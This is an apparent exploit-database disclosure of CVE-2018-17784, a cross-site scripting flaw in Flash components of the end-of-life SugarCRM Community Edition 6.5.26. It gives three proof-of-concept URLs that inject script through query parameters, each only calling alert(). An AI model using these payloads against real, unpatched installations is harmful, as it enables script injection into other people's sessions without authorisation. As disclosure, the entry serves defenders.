SugarCRM 6.5.26 – Cross-Site Scripting
# Exploit Title: SugarCRM 6.5.26 - Cross-Site Scripting # Date: 2018-09-29 # Exploit Author: Purplemet Security # Author Website: https://www.purplemet.com/ # Vendor Homepage: https://www.sugarcrm.com/ # Software Link: https://sourceforge.net/projects/sugarcrm/ # Version: 6.5.26 # Tested on: Ubuntu 16.04 # CVE : CVE-2018-17784 # Description # A vulnerability in uploader.swf, io.swf and flashcanvas.swf in SugarCRM Community Edition 6.5.26 # could allow an unauthenticated, remote attacker to conduct a cross-site scripting # (XSS) attack on a targeted system. # SugarCRM Community Edition 6.5 had reached its end-of-life and is no longer supported. # 6.5.26 is the last version and no patches will be provided by the vendor. # PoC: # 1) http://192.168.13.37/sugarcrm/include/javascript/yui/build/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);} # 2) http://192.168.13.37/sugarcrm/include/javascript/yui3/build/io/io.swf?yid=\%22));}catch(e){alert('XSS');} # 3) http://192.168.13.37/sugarcrm/include/SugarCharts/Jit/FlashCanvas/flashcanvas.swf?id=12345678\%22));}catch(e){alert(%27XSS%27)} |